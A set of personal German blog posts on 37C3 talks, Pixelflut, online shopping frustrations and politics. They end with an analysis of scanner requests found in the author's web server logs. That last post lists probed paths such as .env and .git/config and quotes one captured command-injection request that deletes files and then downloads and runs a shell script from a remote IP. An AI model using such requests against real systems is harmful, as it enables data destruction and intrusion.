Ich entwickle echt eine posttraumatische Belasttungsstörung durch Onlineshops und dergleichen. Ich kriege flashbacks jedes Mal, wenn ich an mein Deutschlandticket denke. Ich traue mich kaum noch, irgendwo online irgendwas zu kaufen, weil ich jedes Mal in Gefahr laufe, meinen Kopf so lange gegen eine Tür zu hauen, dass mich selbst meine Mutter nicht mehr wiedererkennen würde.

Was für ein Kontrast zum 37C3. Dort ging alles schnell und größtenteils unbürokratisch. Ich bestelle ein Ticket. Keine nutzlosen Cookiebanner, keine „ich stimme zu, dass ich zukünftig nervige Werbemails bekomme“, kein Solvenzcheck (ich gehe in Vorkasse mit den Tickets, wenn ich sie nicht innerhalb einer Woche bezahle, verfallen sie), kein Bullshit, keine schlechten Mailvalidierungen…

Aber mal Ernst: So kann die Verkehrswende nicht funktionieren. Wenn ich aufführen muss wie ein dressierter Delfin, der durch Ringe springen muss, um seinen Fisch zu erhalten, nur um für einen Monat ein günstiges Nahverkehrsticket zu bekommen, dann läuft irgendwo etwas gründlich falsch.

Pixelflut

Aus der beliebten Kategorie „Sachen, die ich unglaublich toll finde und die ich schon vor Jahren hätte mitkriegen sollen, ich aber erst vor Kurzem kennengelernt habe“ (in der auch Undertale zu finden war): Pixelflut.

Pixelflut ist… ein Spiel? Ein kompetetives Kunstprojekt? Es ist schwierig, eine Kategorie dafür zu finden. Also beschreibe ich Pixelflut einfach nur.

Man nehme ein Bild in irgendeiner Auflösung. Dieses Bild liegt im Speicher eines Servers und wird auf einem Bildschirm angezeigt, mit einem Beamer gegen eine Wand geworfen oder ins Netzwerk gestreamed. Gleichzeitig bietet der Server eine Schnittstelle, um schreibend auf dieses Bild zuzugreifen. Über TCP, und eigentlich gibt es nur einen nennenswerten Befehl: PX <x> <y> <color>, mit einem Zeilenumbruch am Ende.

<x> und <y> geben die Koordinaten des zu schreibenden Pixels an. <color> die Farbe, auf die dieses Pixel gesetzt wird. Die Farbe ist üblicherweise RGB, aber einige Implementierungen nehmen auch RGBA oder Grauwerte (wobei letztere den Vorteil haben, dass der Befehl dadurch kleiner wird).

Es gibt noch ein paar andere Befehle, aber keinen anderen Befehl, der Pixel verändert. Jedes Pixel muss also mit einer Menge Overhead einzeln gesetzt werden. Der Trick ist jetzt, dass man dieses sehr ineffiziente Protokoll so effizient wie möglich umsetzen will. Denn es ist ein Multiplayer-Spiel, und wenn dutzende bis hunderte Spieler gleichzeitig Befehle an den Server senden, dann sind Teile des eigenen Bildes schon wieder überschrieben, bevor man das letzte Pixel gesetzt hat. Heraus kommt ein flackerndes, sich stets veränderndes und ziemlich verglitcht aussehendes Bild.

Das Spiel gibt es seit Jahren, länger schon, als ich selber zum Congress gehe und taucht auf allen möglichen Chaos-Veranstaltungen auf. Es hat zu so viel Traffic geführt, dass untersagt wurde, es über WLAN zu betreiben (was sowieso ungünstig ist, weil viel langsamer). Ich aber habe es erst auf dem 37C3 wirklich bewusst wahrgenommen, durch den Werbespruch „Play more Pixelflut“.

Dort war eine schnelle (wenn auch, wie der Entwickler kurz vor dem Congress feststellen musste, nicht die schnellste) Rust-Implementierung namens Wellenbrecher im Einsatz. Ich habe mich erst an Tag 3 überhaupt über Pixelflut informiert und erst an Tag 4 ausprobiert, wie man es benutzt. Dementsprechend war mein Ergebnis nicht mehr als ein grünes Rechteck, das aber stabil genug angezeigt wurde.

Für den nächsten Congress will ich aber vorbereitet sein und arbeite gerade an meinem eigenen Rust-Client. Natürlich gibt es andere, effizientere Clients online, aber der Spaß an der Sache ist ja, den Client selber zu schreiben. Es gibt auch schier unendliche viele Optimierungsmöglichkeiten, von denen mir nur ein paar selber einfallen. Ich schreibe einfach eine solide Basis, die ich dann auf dem nächsten Congress ausprobieren und dort verbessern kann. Denn wie soll ich das auch ohne Konkurrenz wirklich testen?

Den schnellsten Client zu haben, ist nicht mein Ziel, dafür müsste ich da zu viel Arbeit reinstecken. Aber mit ein bisschen Arbeit sollte ich schon einen ganz soliden Client kriegen, der stabil kleinere bis mittelgroße Bilder und Animationen anzeigen kann. Mal schauen.

Vorträge auf dem 37C3

Eigentlich hatte ich ja nicht vor, viel mehr zum 37C3 zu schreiben. Aber dann konnte ich nicht umhin, den Datenelch zu erwähnen und meine neugewonnene Begeisterung für Pixelflut zu teilen.

Und dann ist mir die Liste mit meinen ganze anderen Notizen vom Congress aufgefallen, und… naja, ich muss einfach mehr darüber schreiben. Also fange ich mal mit den Vorträgen an, die ich angeschaut habe, bzw. noch anschauen möchte.

Eine gute Empfehlung ist ja, sich auf dem Congress genug Zeit zu nehmen, die man nicht in den Vorträgen verbringt, denn die Vorträge werden aufgezeichnet und man kann sie später noch anschauen. Aber den einen oder anderen Vortrag habe ich mir schon angeschaut.

Hacking The Climate

Da war zunächst Hacking The Climate ein Vortrag über Climate Engineering bzw. Geoengineering, wobei es hauptsächlich darum ging, wie man CO₂ wieder aus der Luft kriegt, warum wir das tun sollten, und dass es kein Ersatz dafür ist, CO₂-Emissionen zu reduzieren (Fazit: wir brauchen beides).

Was Digitale Gewalt mit Restaurantkritik zu tun hat

Dieser Talk behandelte digitale Gewalt (zu großen Teilen heimlich gemachte Nacktaufnahmen, die dann ins Netz gestellt werden) sowie die Apathie der Politik, wirksame Gegenmaßnahmen zu ergreifen.

All cops are broadcasting

Ein schöner Vortrag zu den letztes Jahr veröffentlichten Sicherheitslücken / Backdoors im Funksystem TETRA, zusammen mit einigen aktuellen Entwicklungen dazu.

Euclid – das neue Weltraumteleskop

Wie der Name schon sagt ging es hier um das neue Weltraumteleskop, das darauf ausgelegt ist, große Bereiche des Weltraums schnell zu kartographieren. Hier habe ich leider den Anfang verpasst, aber den kann ich mir ja noch anschauen.

The Extremely Large Telescope (ELT)

Direkt danach ging es vom Weltraum auf die Erde, und zwar ging es über den Bau des größten Teleskops der Welt, und welche Schwierigkeiten hier gelöst werden müssen.

Breaking "DRM" in Polish trains

Das Thema dieses Vortrags hatte ja schon ein paar Wochen vorher die Runde gemacht: Ein paar polnische Hacker wurden von einem Zughersteller in Polen angeheuert um herauszufinden, warum die Züge der Konkurrenz, die dort zur Wartung waren, nach kurzer Zeit nicht mehr ansprechbar waren.

Wie sich herausgestellt hat, hat der Hersteller der Züge Mechanismen eingebaut um die Züge zu blockieren, wenn sie von der Konkurrenz gewartet werden sollen. Das ging sogar so weit, die Geokoordinaten der Werkstätten auf eine Backlist zu setzen. Der Vortrag ist sehr zu empfehlen.

Hacking Neural Networks

Hier ging es um verschiedene Angriffe auf Maschinenlernmodelle. Ich habe hier nicht viel Neues gelernt, aber wenn man die Grundlagen kennen möchte, kann ich den Vortrag empfehlen.

Why Railway Is Safe But Not Secure

Ein Vortrag über Sicherheit (safety) vs. Sicherheit (security) beim Bahnbetrieb, und wie Missverständnisse in der Kommunikation zwischen Bahningenieuren und IT-Sicherheitsleuten dazu führen, dass sich die IT-Security (speziell: die Integrität von Signalen) in den letzten Jahren nicht viel verbessert hat.

Die Lightning Talks

Dieses Mal gab es nur an zwei Tagen lightning talks, an Tag 2 und Tag 3, wobei ich die von Tag 3 nur als gesonderte Kurzvideos finden konnte. Wie immer sehr schön, wenn man möglichst viel verschiedene Inspiration sucht. Ich habe dieses Mal auch selber einen gehalten.

Fnord-Jahresrückblick-Rückblick

Die Jubiläumsausgabe des Fnord-Jahresrückblicks. Da habe ich mich riesig drauf gefreut, das ist immer ein Spaß, insbesondere weil die Show jetzt (auch vor Covid-19) schon ein paar Mal ausgefallen war. Dummerweise war die spät in der Nacht (0:50). Ich bin sicherheitshalber vorher schon ins Hotel zurück und habe mir den Stream angeschaut, musste aber aus Müdigkeit nach der Hälfte Schluss machen. Das konnte ich glücklicherweise nachholen.

About Gamma-Ray-Bursts and Boats

Noch ein interessanter Astronomie-Vortrag.

Writing secure software

Ein Vortrag von fefe in dem er am Beispiel seines Blogs beschreibt, wie man sichere Software schreibt.

Reconstructing game footage from a Game Boy's memory bus

Hier hat jemand ein Gerät gebaut, um Videodaten von Game Boys zu rekonstruieren, damit die Leute auf echten, physischen Game Boys spielen und deren Videoinhalt trotzdem streamen können. Enthält interessante Eiblicke darüber, wie Game Boys funktionieren.

How to build a submarine and survive

In einer Halle im Erdgeschoss stand dieses Jahr ein kleines U-Boot, das anscheinend voll funktionsfähig ist. Zusammengezimmert von einer kleinen Gruppe von Enthusiasten. Der Vortrag darüber ist wirklich empfehlenswert. Ich habe ihn mir aber erst angeschaut, als der Congress schon vorbei war.

Fortbildung Cyber-Astrologie & KI-Karma

Ein witzig aufgemachter Vortrag über Esoteriker, Wunderheiler etc. und deren Tricks. Mit Teilnahmeurkunde zum Selbstausdrucken!

Oh no: KUNO - Gesperrte Girocards entsperren

Darüber, dass das Sperren von gestohlenen Girocards bei der Bank nicht ausreicht (man muss sie auch bei der Polizei sperren) und wie einfach es sein kann, sie unauthorisiert wieder zu entsperren.

Security Nightmares

Und natürlich zuguterletzt die traditionellen Security Nightmares.

Vorträge, die ich noch nicht angeschaut habe

Außerdem gab es noch einen Haufen Vorträge, die ich mir nicht angeschaut habe, die aber auch interessant klingen (unvollständige Liste):

Reich und Arm

Gestern in den Nachrichten: CDU-Vize Jens Spahn will eine Verfassungsänderung, damit man Bürgergeldempfängern das Geld streichen kann.

Heute in den Nachrichten: Die Ungleichheit in der Vermögensverteilung nimmt zu.

Ich verzweifle ja schon seit langem an der Politik. Wir lassen Leute im Mittelmeerertrinken, sperren Flüchtende für Jahre in Camps unter unmenschlichen Bedingungen, bezahlen Diktatoren und quasi-Diktatoren Geld, damit sie die Flüchtenden von uns fern halten, schüren eine Panik gegenüber diesen Menschen, was nur rechtsextremen Parteien wie der AfD entgegenkommt, lassen die Schere zwischen Arm und Reich und Arm immer weiter auseinanderklappen, kümmern uns praktisch nicht um den Klimawandel, verhaften junge Leute, die sich gegen Klimawandel auf die Straße kleben während wir Landwirte alles blockieren lassen, weil denen die Dieselsubventionen gestrichen wurden (und die Landwirte werden im nächsten zu trockenen Sommer wieder angerannt kommen und Hilfe erwarten gegen den Klimawandel, den sie selbst nicht verhindern wollen), und dann entblödet sich unser ehemaliger Gesundheitsminister nicht, eine Verfassungsänderung zu fordern, die den Ärmsten in unserem Land die absolute Grundlage zum Leben streichen soll.

Wir sind in einem empathielosen Land angekommen, wo es zwar einen kleinen Aufschrei gibt, wenn Mitglieder rechter Parteien (und einige Mitglieder nominell nicht rechter Parteien) Massendeportationen planen, aber dann direkt wieder zur Tagesordnung übergegangen wird und nachgeschaut wird, ob man nicht noch mehr auf denen herumtrampeln kann, denen es eh schon schlecht geht.

Und dann stellt sich heraus, dass die fünf reichsten Leute der Welt ihr Vermögen zuletzt verdoppeln konnten, während die ärmsten fünf Milliarden noch ärmer geworden sind.

Wir machen Haushaltskürzungen, stecken das übriggebliebene Geld aber lieber in weitere Autobahnen als in den öffentlichen Verkehr. Wir tun nichts gegen den Klimawandel, weil kein Geld da ist, aber wundern uns, warum und die Wäldern wegsterben, die Felder vertrocknen und wir wochenlange Hochwasser haben.

Und Jens Spahns Lösung dafür ist, eine Verfassungsänderung zu fordern, damit man Leute verhungern lassen kann, die einen Job ablehnen. Dieses Bild von „Die sind nur zu faul zum Arbeiten“, das dahintersteckt ist ebenso menschenfeindlich wie die Idee, man müsse eine willkürliche Gruppe als „nicht-deutsch“ deklarieren und abschieben, oder dieser Festung-Europa-Gedanke, nach dem Leute im Mittelmeer etrinken, Seenotretter wegen Menschenschmuggel verklagt und Menschen in Camps gehalten werden, weil sie sich nicht im Krieg erschießen lassen wollten oder zu Hause einfach keine Lebensgrundlage mehr hatten.

Uff, das ist länger und zusammenhangloser geworden, als ich es geplant habe.

cURL ist überall und Daniel Stenberg kriegt E-Mails

Nicht jeder kennt oder versteht die Prinzipien von freier Software oder Open Source Software. Wenn deine freie Software quasi überall verwendet wird und deine Kontaktdaten damit verbunden sind, dann wirst du viele Mails von solchen Leuten bekommen.

Praktisch jeder Informatiker kennt cURL, ein Kommandozeilentool / Softwarebibliothek für HTTP-Anfragen. cURL hat eine Umfangreiche Funktionalität und wird, entweder als Kommandozeilentool oder als Bibliothek quasi überall verwendet. Ein Script macht eine HTTP-Anfrage? Vermutlich mit cURL. HTTP-Anfragen in PhP? cURL. Ein Marshubschrauber? cURL.

Bei den meisten free software / open source-Lizenzen ist ein Teil der Lizenz, dass die Software mit derselben (oder einer kompatiblen) Lizenz weitergegeben werden und eine Kopie dieser Lizenz der Software beigelegt werden muss. So auch bei cURL, und dort steht dann halt auch der Name des Lizenzhalters, in diesem Fall also Daniel Stenberg, der die Software seit den 90ern pflegt.

Also zum Beispiel 2021 die log4j-Sicherheitslücke groß herauskam, haben viele Leute (nicht ganz ungerechtfertigt) Panik geschoben. Und diese Leute wollten sich dann an allen Ecken und Enden ihrer Supply-Chain absichern. So bekam Daniel Stenberg eine Mail von einem nach seinen Angaben „fortune-500 multi-billion dollar“-Unternehmen, wo die schreibende Person wohl annahm, dass sie einen Vertrag mit Stenberg hätten, und jetzt seinen Support wegen möglicher Sicherheitslücken bräuchten. Und dann ganz verdutzt waren, als ihnen Stenberg erklärte, dass sie gar kein Kunde waren.

Anscheinend passiert das häufiger. Und auch so: wenn deine E-Mail-Adresse quasi irgendwo auf jedem Computer zu finden ist, schreiben auch viele Leute Mails an dich.

Daniel Stenberg hat nun die außergewöhnlichsten davon zusammengetragen. Einzelen scheinen von Fans zu kommen, die sehr wohl wissen, was cURL und freie Software ist und ihm einfach nur danken wollen. Die meisten haben seine Softwarelizenz aber einfach irgendwo gefunden und schreiben ihn an, weil sie entweder glauben, dass er ihr Gerät gehackt habe, oder dass er der richtige Kontakt dafür sei, wenn mit irgendeiner Software, die vermutlich cURL benutzt, irgendetwas nicht funktioniert. Dazu noch ein gesundes Mischmasch an anderen skurrilen Mails.

Ich kann nur empfehlen, das zu lesen. Zu finden sind die (anonymisierten) Mails hier.

Die Herkunft des Datenelches

Ich hatte ja vor ein paar Wochen mal die Datenelchplakate auf dem 37C3 erwähnt. In der aktuellen Folge Logbuch: Netzpolitik wurden diese Aushänge auch aufgegriffen, und dabei auch gleich erklärt, wann sie zum ersten Mal auf den Datenelch gekommen sind (in der Folge beginnt dieses Thema etwa ab 0:53:45):

Manche haben gerätselt und wussten überhaupt nicht, wo das jetzt alles so herkommt. Wir haben natürlich auffällig geschmunzelt. […] interessanterweise haben viele auch auf die falsche Folge LNP vermutet […] Weil wir die Datenelche vor vielen Jahren hier schon mal erwähnt haben. Als wir nämlich über skandinavische Netzluftbrücken, irgendwie Carepakete mit Internet aus Skandinavien philosophiert haben. […] Das war Folge 261 mit dem schönen, treffenden Namen „Elchtest für die Bundesregierung“

Folge 261 ist von Juli 2018, also wirklich schon ein paar Jahre her. Was mich jedoch überrascht hat: Logbuch: Netzpolitik hat in der aktuellen Folge auf meinen Blogpost zu den Datenelchen auf dem Congress verlinkt. Keine Ahnung, wie die den gefunden haben. Aber andersherum: Der fällt auch in alle Kategorien, die abgehandelt wurden: Datenelch-Aushänge? Check. Weiß nicht, wo das herkommt? Check. Falsche Folge LNP? Check.

Soweit ich weiß, ist das das erste Mal, das jemand, den ich nicht persönlich kenne, auf mein Blog verlinkt. Und dieses Blog gibt es jetzt in der einen oder anderen Form seit 2008.

Die Opferrolle

<sarkasmus>Mir kommen die Tränen.</sarkasmus> Die AfD sieht sich als Opfer einer „orchestrierten Aktion, um die Bürger hysterisch zu machen“. Wie können diese AfDler es wagen, sich so als Opfer darzustellen? Erst einmal delegitimieren sie damit hunderttausende Demonstranten auf einem Riesenhaufen, zu großen Teilen unabhängig organisierter Demos. Und dann… selbst wenn es eine „orchestrierte Aktion“ wäre, dann würde sie sich zu Recht gegen die AfD wenden. Dass die AfD extremistisch ist, ist seit Jahren bekannt und in einigen Bundesländern sogarvom Verfassungsschutz so eingestuft. Die AfD will nur nicht einsehen, dass die Leute endlich genug von dem ganzen rechten Bullshit haben. Und in typischer Projektionsmanier stellen sie jetzt die Demonstrationen gegen sie mit den Fackelzügen der Nazis in den 30ern auf eine Stufe.

Hier also mal nur ein paar Stichpunkte, wo die AfD kontinuierlich Mist verbreitet:

  • Die „Flüchtlingskrise“ in 2015 wurde von der AfD zur „Krise“ für Deutschland gemacht, nicht für eine Krise, in der sich die Geflohenen befanden / befinden. Mit Gefühlskälte wurden Menschen, denen es wirklich schlecht ging als Bedrohung für unser ganzes Land dargestellt.
  • Das ging sogar so weit, dass Beatrix von fucking Storch angeregt hat, man könnte an der Grenze doch auf Geflohenen schießen. Diese Frau ist immer noch Bundestagsabgeordnete der AfD, was ja wohl darauf hindeutet, dass ihre Partei damit kein Problem hat.
  • Dieselbe Frau Storch hat auch Muslime in Deutschland pauschal als „barbarischen, muslimischen, gruppenvergewaltigenden Männerhorden“ bezeichnet, weil die Polizei Köln ihren Neujahrsgruß auch auf arabisch publiziert hat (nach deutsch, englisch und französisch). Die Polizei Köln wollte also Vielfalt zelebrieren, und der Storch fällt nichts besseres ein, als deswegen die Polizei und Muslime in einem Satz zu beschimpfen.
  • Die AfD leugnet offen den menschengemachten Klimawandel. Alleine das zeigt, dass diese Partei es mit der Realität nicht so hat und uns alle in Gefahr bringt.
  • Bernd Höcke, ebenfalls ein hohes Tier in der AfD verharmlost den Holocaust und ist der Meinung, dass Deutschland endlich mal vergessen sollte, was unter den Nazis passiert ist. An sich schon eine verachtenswerte Einstellung, aber besonders pikant, wenn man bedenkt, dass gerade dieses Vergessen ja auch bedeutet, dass wir vergessen, wohin so rassistische und Volksverhetzende Parteien führen können.
  • Von der AfD wirft anderen Parteien vor, „Verbotsparteien“ zu sein, machen aber selber mehr Verbotsvorschläge als andere Parteien, zum Beispiel indem sie mit ihrem „Genderverbot“ aus einer Mücke einen Elefanten machen.
  • Die AfD äußert sich transfeindlich, wendet sich gegen Aufklärung über sexuelle Vielfalt und gegen die Ehe für alle.
  • sie reden immer von Freiheit, wollen aber keine Migration zulassen
  • außer diese Migration besteht darin, Leute aus Deutschland zu deportieren, siehe die kürzliche Correctiv-Recherche
  • sie fordern starke Kürzungen von Sozialleistungen, womit es die Ärmsten und Schwächsten der Gesellschaft trifft
  • die AfD hat kein Problem damit, dass Putin die Ukraine mit einem Angriffskrieg überfällt und jede Kritik an ihm in Russland zum Schweigen bringt

Und das sind nur so die paar ersten Sachen, die mir eingefallen sind. Dazu kommt noch viel mehr, unter anderem auch viel rechte Rhetorik, die sehr an die Nazis erinnert und Menschen entmenschlicht, Lügen, Stimmungsmache gegen Strohmänner, etc. Ich habe jetzt nicht mehr die Kraft, das alles herauszusuchen. Da gibt es andere, die sich mehr Mühe damit gemacht haben.

Wichtig ist: Die AfD ist eine Bedrohung für Deutschland, eine Bedrohung für Vielfalt, Gerechtigkeit, Frieden, Menschenrechte, Demokratie, Klimaschutz, Wahrheit und eigentlich alle Werte, die wir für gut und richtig halten. Von daher kann niemand behaupten, die ganzen Demos gegen die AfD seien nicht gerechtfertigt. Das einzige, was man zu den Demos sagen kann ist „Warum erst jetzt?“.

In zwei Monaten war alles zerstört.

Ich halte ja nicht viel von der CDU. Oder von Armin Laschet. Aber bei einer Rede zum Holocaust-Gedenktag (als Videoaufzeichnung habe ich leider nur dieses Video gefunden, so wie es aussieht ist das von einem anderen Videoplayer abgefilmt) hat er sehr treffend die Situation wiedergegeben, wie die Nazis 1933 an die Macht kamen, und weswegen wir jetzt der AfD keinen Finger breit Platz machen dürfen.

Man kann sagen: „Naja, so schlimm wird das schon nicht werden“. So haben die Leute 1933 auch gedacht. Bei der Reichstagswahl, der letzten, im November 1932 hatten die Nazis zwei Millionen Stimmen verloren. Sie hatten nur noch 33 Prozent. In Aachen, Köln, in dem Wahlkreis 17 Prozent. Und dann wurd' Hitler zum Reichskanzler erwähnt. Und dann haben manche gesagt: „Na, wir ernennen den jetzt mal, in zwei Monaten wird der quietschen. Dann hat er sich entlarvt, der wird keinen Erfolg haben“. Und er hatte nur zwei Minister: den Innenminister Frick und Göring. Alle anderen waren noch aus demokratischen Parteien. Und wissen Sie, was in den zwei Monaten bis zu dem Zeitpunkt, wo er quietschen sollte, passiert ist?

30. Januar: Seine Ernennung. 1. Februar: Auflösung des Reichstags, 3. Februar: Hitler sagt, er will rücksichtslos germanisieren und Lebensraum im Osten gewinnen. 4. Februar: Einschränkung der Presse- und Meinungsfreiheit, 22. Februar: SA und SS werden zur Hilfspolizei ernannt. 27. Februar: der Reichstag brennt, 5. März: wieder eine Wahl, wieder keine absolute Mehrheit für die Nazis, 11. März: Goebbels Propagandaminister. 22. März: Errichtung des Konzentrationslagers Dachau, 23. März: Ermächtigungsgesetzt, Ende der Demokratie in Deutschland.

In zwei Monaten war alles zerstört. Und deshalb dürfen Antidemokraten in keine staatliche Funktion kommen, sie werden sie nutzen, die Demokratie zu beseitigen, und das werden wir nicht zulassen!

Ich finde es gut, dass auch jemand von der CDU das jetzt nicht nur verstanden hat, sondern das auch klar, deutlich und rhetorisch gut rüberbringt.

Ach ja, noch eine Person, mit der ich nichts anfangen kann, die aber klar Haltung bezieht: Helene Fischer (gut, genau genommen habe ich keine Ahnung von ihr und finde nur ihre Musik furchtbar). Die hat sich, zusammen mit anderen, auch öffentlich gegen Rechts ausgesprochen.

Update 5.5.2024

Link zum Artikel über die Rede durch Link auf archive.org ersetzt. Der Videolink ist auch tot, aber ich habe ein Video der gleichen Rede (aber ich glaube auf einer anderen Veranstaltung, der Wortlaut ist leicht anders) gefunden.

Warum wird „woke“ eigentlich herabwertend genutzt?

Ich möchte mal über zwei Sachen schreiben. Die erste davon hängt mir schon länger im Kopf herum, die zweite ist erst kürzlich aufgeschlagen.

Der Begriff „woke“ stammt laut Wikipedia aus den USA und bedeutet meines Verständnisses nach in etwa, aufmerksam durch die Welt gehen, gesellschaftliche Misstände (Rassismus, Sexismus, Armut, etc) wahrnehmen und sie öffentlich bekannt machen.

Warum ZUR HÖLLE haben die Rechten (und mittlerweile nicht mehr nur die ganz Rechten, z.B. auch die CDU/CSU) es geschafft, das zu einem Schimpfwort zu machen? Ich verstehe das einfach nicht. Wie soll man denn die Dinge verbessern, wenn man nicht auf Misstände aufmerksam macht? Klar, man kann nicht von jeder Person verlangen, die Welt zu verbessern. Aber wenigstens sollte man doch nicht die Leute heruntermachen, die sich dafür abrackern, es doch zu tun.

Das ist also ein komplett positiver Begriff, der es irgendwie geschafft hat, von irgendwelchen Arschlöchern so verbogen zu werden, dass er als Schimpfwort genutzt werden kann. So ähnlich, wie der Begriff „Gutmensch“. Und damit komme ich zu der zweiten Sache.

Der Begriff „Nazi“ ist ja eigentlich komplett negativ besetzt. Die historischen Nazis waren eine mordende, Hass und Lügen verbreitende Bewegung. Wer sich heute als Nazi bezeichnet, steht gesellschaftlich (zu Recht) im Aus. Selbst die AfD will sich nicht als Nazis bezeichnen, weil sie wissen, dass das Wort extrem negativ belegt ist.

Bis jetzt. Vor ein paar Wochen hat nämlich ein Herr Simmel, der mehrere Edeka-Märkte betreibt, auf seiner Werbung im Logo seines Unternehmens die Statements „Für Demokratie. Gegen Nazis.“ untergebracht. Gegen „Für Demokratie“ kann man ja nichts sagen. Und „Gegen Nazis“ ist auch etwas absolut positives, weil wir ja gerade etabliert haben, dass „Nazi“ absolut negativ belegt ist.

Anscheinend identifizieren sich aber in Deutschland mittlerweile so viele Leute offen als Nazis, dass die sich auf den Schlips getreten fühlen und einen Shitstorm gegen Simmels Läden geführt haben, bis sich Herr Simmel genötigt fühlte, die Werbung wieder zurückzuziehen. Anscheinend wurden auch seine Angestellten bedroht, und da wollte er nichts riskieren. Ein AfD-Stadtrat hat sich angeblich sogar beklagt, dass Simmel Andersdenkende ausschließen würde.

NUR DASS ES SICH BEI DIESEN „ANDERSDENKENDEN“ HALT EXPLIZIT UM NAZIS HANDELT! Ihr wisst schon. Die, die einen der, wenn nicht den größten Genozid der Menschheitsgeschichte durchgeführt haben! Die… ich brauche eigentlich nicht aufzählen, was die alles verbrochen haben. Jede Person, die in Deutschland zur Schule geht, kriegt das beigebracht. Es gibt Gedenkstätten, regelmäßige Gedenkveranstaltungen, Museumsausstellungen, Stolpersteine… man kommt nicht darum herum. Und trotzdem gibt es genug Leute, die denken, dass es ihr gutes Recht ist, sich selbst offen als Nazi zu bezeichnen und damit keinen Gegenwind zu bekommen?

Das sind dann übrigens auch die Leute, die sich immer beklagen, dass wir diese Gedächtniskultur haben. Ich habe vor mittlerweile 16 Jahren, als einen der frühesten Posts in meinem Blog, geschrieben, warum dieses Erinnern wichtig ist. Und die aktuellen Ereignisse machen nur deutlich, dass das heute wichtiger ist als jemals zuvor.

Aber eigentlich wollte ich mich ja über die Begriffe beklagen: Warum zu Hölle leben wir in einer Welt, in der „Nazi“ nicht mehr universell als negativ betrachtet wird, „woke“ aber zum Schimpfwort geworden ist? Kann mir das mal jemand erklären?

Scannen von häufigen Pfaden auf Webservern

Ein Bekannter von der Uni hat neulich im internen Chat etwas geposted. Und zwar hat er eine ungesicherte MongoDB-Instanz ins Netz gestellt, weil er kurz etwas ausprobieren wollte. Zehn (!) Minuten später waren die Daten weg und nur eine Erpressermitteilung (à la „Your data has been backed up, pay 0.005 BTC to get them back“) war noch zu finden. Nun war das ein Testsystem für Sicherheitstests, und die Daten waren weder sensibel noch wichtig. Sonst hätte der die Datenbank auch nicht ins Netz gestellt. Aber von der Geschwindigkeit waren wir dann doch überrascht.

Scans auf meinem Webserver

Das hat mich dann wieder daran erinnert, dass ich auch auf meinem Webserver (auf dem dieses Blog hier läuft) regelmäßig Fehler im Log finde, das irgendwelche obskuren Seiten nicht gefunden wurden. Das war schon vor zwölf Jahren so (und der Webserver damals lief nur standardmäßig, den habe ich dann bis zum Start dieses Blogs abgeschaltet), und es ist immernoch so. Ich logge ja nicht viel (Datenschutz), aber zumindest welche Fehler der nginx so hat, logge ich dann doch.

Also habe ich mir ein kleines script geschrieben, um einfach mal diese Logdateien auszuwerten. Es wurden an einem Tag 131 eindeutige, ungültige Pfade angefordert. Die habe ich dann gruppiert. Hier eine Übersicht:

Fehler meinerseits

Ein paar der Pfade waren definitiv harmlos. Sechs davon gehen auf alte tag-Seiten. Das waren die einzigen Pfade, die ich ersatzlos gestrichen habe (jaja, ich weiß, „cool URIs don't change“). Einer davon ging auf einen kaputten Bildpfad, und stammt aus einem og-Tag. Das konnte ich reparieren. Alleine dafür hat sich die Sache schon gelohnt.

Ach ja, und /favicon.ico, obwohl das favicon dieses Blog woanders liegt. Aber manche Browser fragen einfach immer nach dem alten Standardpfad.

Admin-Seiten

Dann gibt es die üblichen scans nach häufigen Pfadnamen für Admin-Seiten, vermutlich in der Hoffnung, eine ungesicherte Seite zu finden. Hier ein paar Beispiele:

/admin.asp
/admin.cfm
/admin.cgi
/admin.html
/admin.jhtml
/admin.jsa
/admin.jsp
/webui

Häufige Pfadnamen

Manches sieht einfach danach aus, also ob man alle möglichen Pfade durchgeht, die eventuell verwundbar sein könnten:

/default.asp
/default.aspx
/default.jhtml
/default.jsp
/default.php
/home.asp
/home.aspx
/home.cfm
/home.cgi
/home.pl
/index.asp
/index.html
/index.jsp
/index.pl
/index.shtml
/indice.asp
/indice.aspx
/indice.cfm
/indice.cgi
/indice.html
/indice.jhtml
/indice.jsa
/indice.jsp
/indice.php
/indice.pl
/indice.shtml

Gerade diese index.*-Dateien listen eventuell auch alle möglichen anderen Dateien im selben Ordner auf, könnten also auch hilfreich für Angreifer sein.

Und dann noch Pfade wie

/backup
/new
/old

vermutlich in der Hoffnung, vermeintlich gelöschte credentials abgreifen zu können.

/.env wurde auch abgerufen, vielleicht weil da öfters mal interessante Konfigurationsdaten drinstehen (z.B. auch wieder credentials).

Git-Pfade

Häufig genug wird anscheinend ein git-Repo direkt ins Webverzeichnis gelegt. Ich habe jetzt nicht näher nachgeschaut, was man mit diesen Informationen machen könnte, aber da manchmal sind credentials im git-Repo, oder der Code selber kann Lücken enthalten, oder es sind interessante Informationen in den config-Dateien.

/admin/.git/config
/app/.git/config
/application/.git/config
/config/.git/config
/.git/config
/.git/HEAD
/static../.git/config

Wordpress-Pfade

Wordpress ist immer noch sehr weit verbreitet, und hat historisch ja auch den Ruf, viele Lücken zu haben, oder insbesondere: viele Deployments zu haben, die bei bekannten, behobenen Lücken nicht aktualisiert wurden.

/wordpress
/wp
/wp-apxupx.php?apx=upx
/wp-json/acf/v3/options/a?id=wp_mail&field=smtp
//wp-json/wp/v2/posts?per_page=1&_fields=id,slug,comment_status

Recon-Krams

Bei manchen Dateien scheint es keinen vorrangingen Grund zu geben, warum ein Angreifer versuchen sollte, sie abzurufen. So zum Beispiel:

/CSS/Miniweb.css
/static/admin/javascript/hetong.js
/version

Ich vermute mal, man kann anhand dieser Dateien darauf schließen, ob eine gewisse, verwundbare Version einer Software auf dem Server läuft oder so.

Und was immer das hier ist

Manche Pfade sehen so offensichtlich bösartig aus, dass sie in keine der anderen Kategorien fallen:

/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F192.3.152.183%2Ftenda.sh%3B%20chmod%20777%20tenda.sh%3B%20.%2Ftenda.sh)

TLS-Fehler

Unabhängig von den Pfaden habe ich noch einige TLS-Fehler entdeckt. Das muss kein Scan sein. Es kann auch einfach sein, dass irgendein Client die Verbindung verkackt hat. Aber wenn man auf TLS-Lücken scannt, dann erzeugt das normalerweise auch einige Fehlermeldungen.

Schlussfolgerungen

Das war nur eine sehr oberflächliche Übersicht über die aufgerufenen Pfade. Aber das ist schon interessant genug.

Ich weiß nicht, woher diese Scans kamen. In jedem Fall sind sie höchstwahrscheinlich automatisiert. Es könnten bösartige Angreifer gewesen sein. Oder Sicherheitsforscher. Oder Crawler von Sicherheits-Suchmaschinen, wie z.B. Shodan.

